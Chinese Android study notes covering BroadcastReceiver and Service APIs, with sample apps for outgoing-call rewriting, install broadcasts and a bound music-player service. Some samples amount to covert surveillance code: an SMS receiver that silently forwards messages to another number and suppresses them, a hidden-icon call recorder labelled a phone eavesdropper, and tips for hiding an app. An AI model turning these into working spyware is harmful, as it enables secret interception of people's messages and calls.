廣播接收者,用來接收廣播Intent。
android系統相當於一個電臺,預定義了很多廣播事件(平均2~3個廣播/s),常見的有:
* 手機開機
* sd卡掛載/卸載
* 外撥電話
* 手機重啓
* 短信到來
* 安裝和卸載廣播
實現廣播接收者的步驟
* 第1步:繼承BroadcastReceiver,並重寫onReceive()方法。
public class IncomingSMSReceiver extends BroadcastReceiver {
@Override public void onReceive(Context context, Intent intent) {
}
}
* 第2步:訂閱感興趣的廣播Intent,訂閱方法有兩種:
第1種:使用代碼進行訂閱:
IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
IncomingSMSReceiver receiver = new IncomingSMSReceiver();
registerReceiver(receiver, filter);
----這種方式的特點是:優先級比清單文件中的高,不管是有序還是無序。且其生命週期的期限與activity相關聯,activity在,接收者就可以接收消息,頁面不在了,無法接收。----需要在聲明這個廣播接收者的activity的onDestroy()方法對該接收者進行解註冊,使用方法unregisterReceiver(leiFengReceiver),否則關閉應用時會報錯。
第2種:在AndroidManifest.xml文件中的<application>節點裏進行訂閱:
<receiver android:name=".IncomingSMSReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
----action就是指定要監聽的廣播/動作。----清單文件中添加的receiver,無法進行導航跳轉。
電話攔截
攔截動作: android.intent.action.NEW_OUTGOING_CALL
需要權限: android.permission.PROCESS_OUTGOING_CALLS
public class IPCallerReceive extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
// 獲得外撥號碼
String phoneNumber = getResultData();
// 在前面加上ip號碼, 並設置.
setResultData(“17951” + phoneNumber);
}
}
詳細代碼實現:
MainActivity代碼:
import android.os.Bundle;
import android.app.Activity;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;
public class MainActivity extends Activity {
private EditText etNumber;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
etNumber = (EditText) findViewById(R.id.et_number);
}
public void setting(View v) {
String number = etNumber.getText().toString().trim();
SharedPreferences sp = getSharedPreferences("cx_phone", MODE_PRIVATE);
Editor edit = sp.edit(); //獲得編輯器對象
edit.putString("ipNum", number);
edit.commit();
Toast.makeText(this, "設置成功", 0).show();
}
}
清單文件配置:
<receiver android:name="com.cx.broadcast.IPCallerReceiver">
<intent-filter>
<action android:name="android.intent.action.NEW_OUTGOING_CALL" />
</intent-filter>
</receiver>
廣播接收者代碼:
public class IPCallerReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
// 取出號碼
String number = getResultData();
System.out.println("系統打電話: " + number);
if(number.startsWith("010") || number.startsWith("021")) {
// 在這裏動態的取出用戶想設置的號碼
SharedPreferences sp = context.getSharedPreferences("cx_phone", Context.MODE_PRIVATE);
String ipNum = sp.getString("ipNum", "");
setResultData(ipNum + number);
}
}
}
sd卡卸載廣播攔截動作: android.intent.action.MEDIA_UNMOUNTED
指定scheme: file
public class SDStateReceive extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
System.out.println("SD卡被卸載了, 無法進行下載任務.");
}
}
短信攔截
(android 4.2 後廢除了此action)--有些型號的手機中,4.2版本以上還有這個action,但編程時,如果設置的版本在4.2以上,都沒有代碼提示。
攔截動作: android.provider.Telephony.SMS_RECEIVED
---沒有短信發送廣播,發過來的短信可被攔截,但自己手機上發送出去的短信不可被攔截(可用短信內容觀察者進行監聽)。
需要權限: android.permission.RECEIVE_SMS
代碼實現:
清單文件配置
<receiver android:name="com.cx.broadcast.SmsFilterReceiver">
<intent-filter android:priority="1000" >
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
廣播接收者代碼:
public class SmsFilterReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
System.out.println("接收到短信了...");
// 取出短信的內容
Bundle bundle = intent.getExtras();
// 獲得系統接收到的短信
Object[] objectArray = (Object[]) bundle.get("pdus");
for (Object sms : objectArray) {
byte[] smsBytes = (byte[]) sms;
// 把byte數組轉換成一個短信的對象
SmsMessage smsMessage = SmsMessage.createFromPdu(smsBytes);
// 取出號碼
String address = smsMessage.getOriginatingAddress();
// 取出內容
String body = smsMessage.getMessageBody();
String text = "address: " + address + ", body: " + body;
System.out.println(text);
if("1386767".equals(address)) {
// 把短信內容轉發到自己的手機上.
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage(
"5556", // 對方的號碼
null, // 短信中心的號碼
text, // 短信內容
null, // 發送成功的回執
null); // 接收成功的回執
// 終止廣播
abortBroadcast();
}
}
}
}
開機自動啓動, 權限: 3.0以上版本必須加權限, 以下的版本可以不加,
攔截動作: android.intent.action.BOOT_COMPLETED
需要權限: android.permission.RECEIVE_BOOT_COMPLETED
安裝和卸載廣播
攔截動作:
android.intent.action.PACKAGE_ADDED
android.intent.action.PACKAGE_REMOVED
指定scheme: package
代碼實現:
清單文件配置:
<receiver android:name="com.itheima40.broadcast.InstallReceiver">
<intent-filter>
<action android:name="android.intent.action.PACKAGE_ADDED" />
<action android:name="android.intent.action.PACKAGE_REMOVED" />
<data android:scheme="package"/>
</intent-filter>
</receiver>
廣播接收者代碼public class InstallReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
// 安裝和卸載都觸發此方法, 區分兩個廣播
Uri uri = intent.getData();
// 取出動作, 判斷
String action = intent.getAction();
if("android.intent.action.PACKAGE_ADDED".equals(action)) {
System.out.println("安裝了一個應用: " + uri);
} else if("android.intent.action.PACKAGE_REMOVED".equals(action)) {
System.out.println("卸載了一個應用: " + uri);
}
}
}
注:用intent.getData()接收哪個應用被安裝或卸載,不能用getResultData()。一個廣播接收者,可接收多個廣播,取出廣播的動作intent.getAction(),進行判斷並採用不同的操作。
注:創建工程時,去掉create activity中的勾,或者在清單文件中設置不寫action爲MAIN且category爲LAUNCHER的intent-filter,這樣創建的應用沒有圖標,用戶也無法啓動,只能在setting/application中看到。
這樣的應用在application中顯示的force stop按鈕是灰化的。
3.0以上版本,如果一個廣播接收者應用的force stop按鈕是灰的,那麼這個廣播接收者無法監聽到廣播;只有用戶手動啓動一次,force stop按鈕變亮,這時纔可以接收系統廣播。點擊force stop後,按鈕變灰,又接收不到廣播。3.0版本以下沒有這個問題。
清單文件中註冊的廣播接收者,只要進程啓動過一次且沒有被force stop,殺死進程後,廣播接收者仍能接收到廣播;在代碼中動態註冊的廣播接收者,殺死進程後,就收不到廣播了。
BroadcastReceiver相關API
String getResultData(),獲取廣播數據。
void setResultData(String data),返回廣播數據。
void abortBroadcast(),Sets the flag indicating that this receiver should abort the current broadcast; only works with broadcasts sent through Context.sendOrderedBroadcast.
無序廣播和有序廣播
無序廣播不可被攔截,也就是不能使用abortBroadcast()終止該廣播。一個無序廣播有多個接收者時,接收順序是接收者在清單文件中聲明/註冊的順序。
有序廣播可以根據優先級一層層的setResultData/getResultData,或直接abortBroadcast。
廣播的優先級
優先級從-1000到1000,1000最大;相同優先級的也是先註冊的先接收。
發送廣播示例:
/**
* 無序廣播
* @param v
*/
public void sendBroadcast(View v) {
Intent intent = new Intent("com.cx.help");
sendBroadcast(intent); // 發送一個廣播, 廣播的動作爲: com.itheima40.help
}
/**
* 有序廣播
* @param v
*/
public void sendOrderBroadcast(View v) {
Intent intent = new Intent("com.cx.songwennuan");
sendOrderedBroadcast(
intent,
null,
new LeiFengReceiver(), // 無論是否攔截這個有序廣播, 最終此參數指定的廣播接受者必須收到.
null,
0,
"10000塊錢",
null);
}
Context發送廣播的API介紹abstract void sendBroadcast(Intent intent),new Intent(""), 發送無序廣播,廣播intent可任意,但要想被接收,需要在接收者的action配置中設置對應的值。
abstract void sendBroadcast(Intent intent, String receiverPermission),發送無序廣播,廣播接收者要想接收到這個廣播必須配置receiverPermission指定的權限。
abstract void sendOrderedBroadcast(Intent intent, String receiverPermission),發送有序廣播,廣播接收者需要具體指定權限才能接收廣播。
abstract void sendOrderedBroadcast(Intent intent, String receiverPermission, BroadcastReceiver resultReceiver, Handler scheduler, int initialCode, String initialData, Bundle initialExtras)
---參數resultReceiver代表無論是否攔截(abort)這個廣播,resultReceiver都會接收到這個廣播,參數initialData和initialExtras表示廣播中的初始數據。
應用程序:一組組件(activity service provider receiver)的集合。
一般情況下, 一個應用程序會對應一個進程。
一般情況,關閉掉應用,會關閉所有的界面(所有的activity)。應用程序的進程是不會被關閉的,仍然在後臺長期的運行。系統採用一組策略,自動地幫我們管理進程。
# Service 服務
- 服務是一個沒有界面的Activity.
- 長期在後臺運行, 不關乎界面的一些操作.比如: 網易新聞服務, 每隔1分鐘去服務查看是否有最新新聞.
- 進程中運行着線程, Android應用程序剛啓動都會開啓一個進程給這個程序來使用.
- Android一個應用程序把所有的界面關閉時, 進程這時還沒有被銷燬, 處於空進程狀態.
- 和Thread有點相似. 但使用Thread不安全, 不嚴謹.
- 進程的回收進制.
五種進程, 從低到高
1. Foreground process 前臺進程, 如打開一個應用,這個應用就是前臺進程。用戶可以看到這個進程裏面的某一個activity的界面,可以操作這個界面。
2. Visible process 可視進程, 可以看見, 但不可以交互.如前臺進程的頁面是透明的或對話框形式的,那後面的那個進程(比如桌面應用) 就是可視進程。
3. Service process 服務進程
4. Background process 後臺進程,沒有任何服務的進程,打開一個activity按home鍵/最小化鍵後,前臺進程就變成後臺進程。
5. Empty process 空進程,當程序退出時, 進程沒有被銷燬, 而是變成了空進程。如打開一個activity後,按返回鍵,這樣一個進程中可能就只還有一個子線程在運行時就是空進程。空進程可以複用,減少進程重新創建的開銷。
- 回收的順序: 從低到高
- 當系統內存不夠用時, 把空進程回收了, 一個一個回收掉空進程.
- 當系統回收所有的完空進程不夠用時, 繼續向上回收後臺進程, 依次類推.
- 當回收: 服務, 可視, 前臺這三種進程時, 系統非必要情況下不會輕易回收, 如果需要回收掉這三隻進程, 在系統內存有夠用, 會再重新啓動進程。一鍵清理,只會關閉空進程和後臺進程
- 服務進程如果用戶手動的關閉服務, 這時服務不會再重啓了.
系統或自定義的服務,如果非法關閉(不是按stop按鈕關閉的),也會再自動重啓。 只要不點stop,服務會一直運行。
- 爲什麼用服務, 而不用Thread? Thread運行在空進程中, 很容易的被銷燬了. 服務不容易被銷燬, 如果非法狀態下非銷燬了, 系統會在內存夠用時, 重新啓動.
setting->application->running services,可看到android中當前所有服務。
Service類
上層繼承關係:
java.lang.Object
->android.content.Context
->android.content.ContextWrapper
->android.app.Service
--電話竊聽器(當接通電話時, 開始錄音, 掛斷電話, 停止錄音).
需要的權限:
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
代碼實現:
電話監聽服務代碼:
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.media.MediaRecorder.AudioEncoder;
import android.media.MediaRecorder.AudioSource;
import android.media.MediaRecorder.OutputFormat;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
public class CallListenService extends Service {
private boolean isRecording = false; // 是否正在錄音中
private MediaRecorder mMediaRecorder;
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
System.out.println("監聽電話的服務被創建了...");
// 監聽手機通話的狀態
TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
tm.listen(new MyPhoneStateListener(), PhoneStateListener.LISTEN_CALL_STATE); // 監聽當前手機的通話狀態
}
class MyPhoneStateListener extends PhoneStateListener {
/**
* 當電話的通話狀態改變時, 觸發此方法, 剛開始監聽時, 此方法會被出發一次.
* state 手機當前的通話狀態
* @see TelephonyManager#CALL_STATE_IDLE 空閒(掛斷)
* @see TelephonyManager#CALL_STATE_RINGING 響鈴
* @see TelephonyManager#CALL_STATE_OFFHOOK 摘機(接通)
*/
@Override
public void onCallStateChanged(int state, String incomingNumber) {
if(state == TelephonyManager.CALL_STATE_IDLE && isRecording) {
System.out.println("掛斷了");
// 已經正在錄音中了, 需要停止了.
// 8. 停止錄音
mMediaRecorder.stop();
// 9. 釋放資源
mMediaRecorder.release();
isRecording = false;
} else if(state == TelephonyManager.CALL_STATE_OFFHOOK) {
System.out.println("接通了");
isRecording = true; // 當前處於正在錄音中..
// 真正開始錄音
// 1. 創建一個錄音器
mMediaRecorder = new MediaRecorder();
// 2. 設置音頻源來自麥克風. VOICE_CALL表示雙向錄音,也就是對方的聲音也能錄到,標準的android系統不支持雙向錄音 ,國內如中興、索愛的手機系統才支持。
//MIC只能錄到自己的通話聲音,但是如果免提打開,就都可以錄到。
mMediaRecorder.setAudioSource(AudioSource.VOICE_CALL);
// 3. 設置輸出文件的格式
mMediaRecorder.setOutputFormat(OutputFormat.THREE_GPP);
// 4. 設置輸出文件的名字
mMediaRecorder.setOutputFile("/mnt/sdcard/itheima40.3gp");
// 5. 設置音頻編碼
mMediaRecorder.setAudioEncoder(AudioEncoder.DEFAULT);
try {
// 6. 準備, 馬上要錄音了
mMediaRecorder.prepare();
// 7. 開始錄音
mMediaRecorder.start();
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
}
MainActivity代碼:
import android.os.Bundle;
import android.app.Activity;
import android.content.Intent;
import android.view.Menu;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent=new Intent(this,CallListenService.class);
startService(intent);
}
}
清單文件配置:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.cx.phonelisten"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="17" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:theme="@android:style/Theme.NoDisplay"
android:name="com.cx.phonelisten.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
//隱藏應用圖標
<data android:host="AuthActivity" android:scheme="com.android.example" />
</intent-filter>
</activity>
<service android:name="com.cx.phonelisten.CallListenService"></service>
</application>
</manifest>
注: <data android:host="AuthActivity" android:scheme="com.android.example" />,將這行配置放在某個activity的<intent-filter>中,可以讓該activity/應用不在桌面顯示圖標
- 服務生命週期
服務有2種使用方式
- 開啓方式, 特點: 把服務啓動起來後, 就不管服務的事了.. activity和服務沒有關係,一個activity開啓的service可以在另一個activity中停止。
- startService, 生命週期執行的過程: onCreate -> onStart/onStartCommand 服務正在運行中。
---服務只會被創建一次,如果服務已經創建了,並且沒有銷燬,多次調用startService的方法,只會執行onStartCommand()和onStart()方法,onCreate()不再執行。
---onStartCommand和onStart()方法同時存在時,先執行onStartCommand(),再執行onStart()方法。
- stopService, 生命週期執行的過程: onDestory 服務銷燬了
- 使用startService方式開啓的服務, 只能用stopService關閉服務.
- 綁定方式, 特點: 生命週期與綁定它的activity相關聯。如果調用者activity被銷燬了,服務也會跟着銷燬。
- bindService, 生命週期執行的過程: onCreate -> onBind
--多次綁定服務時,onBind()方法只會被執行一次,如果activity中調用了服務中的方法,onServiceConntect方法會調用多次。
- unbindService, 生命週期執行的過程: onUnbind -> onDestory
服務只能被解綁一次,再次解綁會報錯,程序異常終止。
- 如果activity銷燬(返回鍵)時,服務沒有解綁,會報如下錯誤:
09-14 02:53:53.302: E/ActivityThread(2321): android.app.ServiceConnectionLeaked:
Activity com.cx.musicplayer.MainActivity has leaked ServiceConnection
com.cx.musicplayer.MainActivity$MyConnectionService@41026fd0 that was originally bound here。
所以在activity退出前需要先解綁服務,一般可在activity的onDestory方法中進行服務解綁。
- onRebind 方法, 只有在onUnbind方法返回true的情況下, 纔會被調用.
服務一般分爲兩種:
本地服務,用於應用程序內部,在Service可以調用startService()啓動,調用stopService()結束,無論調用了多少次startService(),都只需調用一次stopService()來停止,採用startService()方法啓動服務,只能調用stopService()方法結束服務,服務結束時會調用onDestroy()方法。
遠程服務,unbindService()關閉連接,多個客戶端可以綁定至同一個服務。用於系統內部的應用程序之間,可以定義接口並把接口暴露出來,以便其他應用進行操作,客戶端建立到服務對象的連接,並通過那個連接來調用服務,調用bindService()方法建立連接,並啓動,以調用
Activity調用Android中的服務的方法
--startService開啓的服務是android系統(框架)創建的,該方法返回值是CompontName對象,不是創建的service對象。
---由於系統框架在創建服務時候會創建與之對應的上下文,而直接用new PlayService()時創建的只是普通的對象,上下文對象並不存在。
---基於上面2點,在Activity中用開啓服務的方式無法拿到Service對象的引用,無法調用服務中的方法。
---用綁定方式時,服務被成功綁定時會調用onBind()方法,該方法返回一個activity與service間的通信通道。
使用綁定服務方式, 調用服務中的方法.
本地服務調用步驟
1. 調用bindService綁定服務, 該方法有一個參數是ServiceConnection對象。ServiceConntection是一個接口,可以監控服務,是服務與activity之間的連接橋。
public abstract boolean bindService(Intent service,ServiceConnection conn,int flags)
---flags可取值是0, BIND_AUTO_CREATE, BIND_DEBUG_UNBIND, BIND_NOT_FOREGROUND, BIND_ABOVE_CLIENT, BIND_ALLOW_OOM_MANAGEMENT, or BIND_WAIVE_PRIORITY.
一般使用BIND_AUTO_CREATE,表示如果在綁定時service還沒有開啓,就自動開啓服務,如果已經開啓了就不再開啓,直接綁定。
2. 在服務類中定義一個內部類MyBinder繼承Binder, 並且聲明一個forwardBuyTicket方法, 在此方法中可以調用服務中的buyTicket方法.
3. 在服務中的onBind方法中, 返回第二部定義個內部類MyBinder對象.
onBind方法的聲明是:IBinder onBind(Intent intent),該方法在服務被成功綁定時執行。
Binder、IBinder之間的關係:public class Binder extends Object implements IBinder
4. 在Activity中創建實現ServiceConnection接口的子類,實現其中的onServiceConnected方法。
onServiceConnected方法中的參數值IBinder service就是服務中onBind()方法的返回值。
class MyConnection implements ServiceConnection {
@Override
//在服務被成功綁定的時候調用的方法
public void onServiceConnected(ComponentName name, IBinder service) {
mMediaController = (MediaController) service;
}
@Override
//在服務失去綁定的時候調用的方法,只有程序/進程異常終止時候才調用,如果是正常關閉服務,該方法不會被調用。
public void onServiceDisconnected(ComponentName name) {
}
}
一般需要定義一個IBinder對象作爲Activity的成員,該成員就在onServiceConnected方法進行賦值,然後整個activity中就可以使用這個IBinder對象。5. 得到服務中內部類實例, 調用這個實例中的方法forwardBuyTicket. 此方法會轉調服務中買票的方法buyTicket.
---採用這種方式,可以在IBander中只調用service的一部分方法,將需要暴露的方法暴露出來,而不是直接暴露出整個service對象,這樣後臺服務不會被輕易打斷,更安全。
---綁定方式時,服務隨着activity的銷燬而銷燬,不能長期運行在後臺,要想長期使用服務,調用服務中的方法,應該先用開啓方式開啓服務,然後再綁定服務。服務不再使用時用stopService()方法關閉。
正確的完整流程如下:
1)開啓服務,startService()
2) 綁定服務,bindService()
3) 關閉程序,調用者退出,服務被解綁。
4)停止服務,stopService().
---實際開發中,自定義的IBinder對象也應該只對外暴露其中的一部分方法,IBinder子類應該定義成私有內部類,再定義一個ISerivce接口,讓IBinder實現該接口,這樣service中onBind()中也只返回IService對象,辦有Iservice中的方法是被暴露。
調用本地服務的完整示例:
IService接口:
package com.cx.musicplayer;
public interface IService {
public void forwardPlay();
public void forwardPause();
}
播放服務代碼:
package com.cx.musicplayer;
import android.app.Service;
import android.content.Intent;
import android.media.MediaPlayer;
import android.os.Binder;
import android.os.IBinder;
public class PlayService extends Service {
private MediaPlayer mMediaPlayer;
@Override
public void onCreate() {
super.onCreate();
System.out.println("MediaService onCreate");
mMediaPlayer = MediaPlayer.create(this, R.raw.bgmusic);
}
@Override
public IBinder onBind(Intent intent) {
System.out.println("MediaService onBind");
return new MediaController();
}
/**
* @author andong
* 媒體控制器
*/
//定義MediaController爲私有
private class MediaController extends Binder implements IService{
/**
* 轉調服務中的播放方法
*/
public void forwardPlay() {
System.out.println("MediaController forwardPlay");
play();
}
/**
* 轉調服務中的暫停方法
*/
public void forwardPause() {
System.out.println("MediaController forwardPause");
pause();
}
}
/**
* 播放音樂
*/
public void play() {
System.out.println("MediaService play");
mMediaPlayer.start();
}
/**
* 暫停音樂
*/
public void pause() {
System.out.println("MediaService pause");
mMediaPlayer.pause();
}
}
MainActivity代碼:
package com.cx.musicplayer;
import android.os.Bundle;
import android.os.IBinder;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.view.Menu;
import android.view.View;
public class MainActivity extends Activity {
//MediaController不私有,不能再使用,需要使用接口。
private IService mMediaController;
private MyConnectionService conn;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent=new Intent(this, PlayService.class);
conn=new MyConnectionService();
bindService(intent,conn,Context.BIND_AUTO_CREATE);
}
@Override
protected void onDestroy() {
super.onDestroy();
Intent intent=new Intent(this, PlayService.class);
stopService(intent);
}
public class MyConnectionService implements ServiceConnection{
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
//使用ISerivce對返回的IBinder對象進行強轉。
mMediaController=(IService) service;
}
@Override
public void onServiceDisconnected(ComponentName name) {
}
}
public void startPlay(View v){
mMediaController.forwardPlay();
}
public void pausePlay(View v){
mMediaController.forwardPause();
}
public void jump(View v){
Intent intent=new Intent(this,AnotherActivity.class);
startActivity(intent);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}
}
佈局文件:
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
tools:context=".MainActivity"
android:layout_margin="10dip">
<ImageButton
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:src="@drawable/start"
android:padding="0dip"
android:onClick="startPlay"/>
<ImageButton
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:src="@drawable/pause"
android:padding="0dip"
android:onClick="pausePlay"/>
<ImageButton
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:src="@drawable/jump"
android:padding="0dip"
android:onClick="jump"/>
</LinearLayout>
清單文件配置:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.cx.musicplayer"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="17" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="com.cx.musicplayer.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name="com.cx.musicplayer.PlayService"></service>
</application>
</manifest>
遠程服務調用
因爲服務中的MediaController類,在另一個工程的Activity中看不到,不能直接在onServiceConnected中獲取並強轉,所以需要使用進程間通信IPC((intel-process communication)機制。
Android使用一種接口定義語言AIDL(Android Interface Definition Language)來公開服務的接口的方式來暴露服務接口,AIDL中不能有任何修飾符。
步驟:
- 寫服務類
1. 定義一個接口文件, 聲明一個方法forwardPayMoney方法, 把後綴名修改爲.aidl, 並且把修飾詞去掉.
---系統會自動在gen目錄下生成這個接口的java文件,並自動生成一個抽象內部類stub,stub繼承了Binder並實現了服務接口:
public interface AlipayRemoteService extends android.os.IInterface
{
/** Local-side IPC implementation stub class. */
public static abstract class Stub extends android.os.Binder implements com.itheima40.alipayservice.AlipayRemoteService
}
2. 在服務中定義一個內部類MyBinder, 繼承Stub類, 並且把抽象方法forwardPayMoney實現了.
3. 在onBind方法中把第二部定義的內部類對象MyBinder返回.
4. Activity中綁定服務, 傳遞過去一個連接橋對象.
5. 把服務程序中的aidl文件拷貝當前工程中, 包名要保留一致.
6. 在連接橋對象中的onServiceConnected方法中, 把IBinder對象轉換成aidl接口對象
mAlipayRemoteService = Stub.asInterface(service); asInterface方法聲明如下:
public static com.itheima40.alipayservice.AlipayRemoteService asInterface(android.os.IBinder obj)
7. 使用aidl接口對象, 調用接口中的抽象方法, 實際上會調用到遠程服務中內部類中的forwardPayMoney方法.
調用服務中方法的另一種方式
BroadcastReceiver可以在java代碼中進行註冊,如果在Service類註冊了一個廣播接收者,那麼就可以在廣播接收者的onReceive()方法中調用服務中的方法.
- 播放聲音
// 得到播放器實例對象
MediaPlayer mMediaPlayer = MediaPlayer.create(this, R.raw.bgmusic);
// 開始播放
mMediaPlayer.start();
android媒體配置,設置屬性時,一般屬性也都是一個類,裏面的靜態常量作爲屬性值。
setAudioSource(AudioSource.MIC),麥克風
應用中自帶媒體,在res下創建raw文件,R文件會自動生成R.raw.xx。
如果去掉<category android:name=”android.intent.category.LAUNCHER” />,就表示app沒有啓動入口了,這樣子確實是解決了不顯示圖標的效果,但是那樣的話我們的應用也運行不了了。
默認優先級是?
橫屏配置:
android:screenOrientation="landscape"
全屏配置:
android:theme="@android:style/Theme.NoTitleBar.Fullscreen",屏幕背景變黑
xml文件中註釋快捷鍵
格式化快捷鍵
四大組件之間是通過Intent進行聯繫。
adb logcat,會打印所有日誌,但是沒有顏色,也不能過濾